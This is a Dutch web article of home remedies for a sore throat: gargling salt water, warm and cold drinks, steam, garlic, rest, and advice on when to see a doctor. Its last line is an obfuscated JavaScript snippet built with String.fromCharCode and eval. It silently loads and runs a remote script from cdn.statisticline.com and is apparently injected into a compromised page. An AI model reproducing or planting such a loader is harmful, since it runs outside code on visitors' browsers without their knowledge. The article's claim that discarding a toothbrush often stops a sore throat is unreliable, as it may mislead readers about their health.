Oh nee toch, je hebt een droge of zere keel. Dat is erg vervelend in deze gekke tijden, aangezien iedereen al gelijk denkt dat je besmet bent met het Corona-virus. Eén keer hoesten in de supermarkt en er staan gelijk een tiental ogen op je gericht. De kans is groter dat je een beginnende keelpijn hebt. Met het weer dat constant heen en weer schommelt is een geïrriteerde keel niet zo gek. Maar goed, jij wilt natuurlijk snel van je keelpijn afkomen, dus je vraagt je af wat helpt tegen de keelpijn. Wij hebben een aantal lifehacks voor je!
Wat te doen bij keelpijn: zes huismiddeltjes die je moet proberen als je snel van keelpijn wilt afkomen
Gooi je tandenborstel weg bij beginnende keelpijn
Geloof het of niet, maar je tandenborstel kan jouw keelpijn in stand houden of zelfs veroorzaken. Bacteriën verzamelen zich op de borstelharen en tijdens het poetsen kunnen ziektekiemen in je systeem komen door letsel aan het tandvlees. Gooi je tandenborstel weg zodra je je ziek begint te voelen. Vaak is dat genoeg om de keelpijn te stoppen.
Warme en extra koude vloeistoffen
Drink warme dranken, zoals thee (met honing) of kippensoep. Of probeer extra koude vloeistoffen, zoals ijswater of ijslolly’s. Vloeistoffen helpen de slijmvliezen vrij te maken. Warme temperaturen kunnen hoesten ook verminderen door de achterkant van de keel te verzachten. Probeer zowel warm als koud om te zien wat het beste werkt voor jou.
Gorgelen met zout water
Los 1/2 theelepel zout op in een glas warm water. Gorgel (maar slik niet) het brouwsel om de drie uur voor een volledig natuurlijke remedie tegen keelpijn. Dit zal de zwelling en irritatie in je keel helpen verminderen.
Stoom en vochtigheid
Neem eens een warme douche. Als het echt stomend heet is, adem dan de magie in. Stoom maakt namelijk slijm los en kan een zere keel hydrateren en verzachten. Je kunt er ook voor kiezen om ouderwets te gaan stomen of schakel – indien mogelijk – een luchtbevochtiger in om de hoeveelheid vocht in je huis op peil te houden.
Rauwe knoflook eten
Deze is vooral leuk voor je partner! Knoflook heeft antiseptische eigenschappen, die kunnen helpen als je een bacteriële infectie hebt, en het kan keelpijn helpen verlichten. Je dient het hiervoor wel eerst te platten en daarna zo snel mogelijk op te eten.
Rusten, rusten, rusten
Onderschat het fysiek rusten van je lichaam en stem niet. Maar let op: platliggen kan soms zwelling veroorzaken door een toename van de druk achter in de keel. Probeer in plaats daarvan het bed hoger te zetten of rechtop of in een stoel te zitten om de pijn en het ongemak te verlichten.
Wat helpt NIET tegen keelpijn; vermijd deze huismiddeltjes
Er worden overal remedies aangeraden tegen keelpijn, maar ze zijn eigenlijk niet allemaal goed voor je keel. We raden je aan om appelazijn en essentiële oliën over te slaan. Ze zullen niet veel doen voor de zere keel en zijn niet goed bestudeerd of klinisch bewezen wat betreft veiligheid of effectiviteit. Vermijd hiernaast ook roken, zuur voedsel, gekruid voedsel en direct na het eten gaan liggen als je snel van keelpijn wilt afkomen.
Langdurige keelpijn? Bezoek een arts!
Wanneer je ernstig keelpijn hebt, of hij langdurig is en niet verbetert, dien je langs de dokter te gaan. Doe dit ook wanneer hij zich uitstrekt tot in je oor, je moeite hebt met ademen of het openen van je mond, je bloed ophoest of in je speeksel hebt, hoge koorts hebt of witte vlekken op de achterkant van je keel ziet.
var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);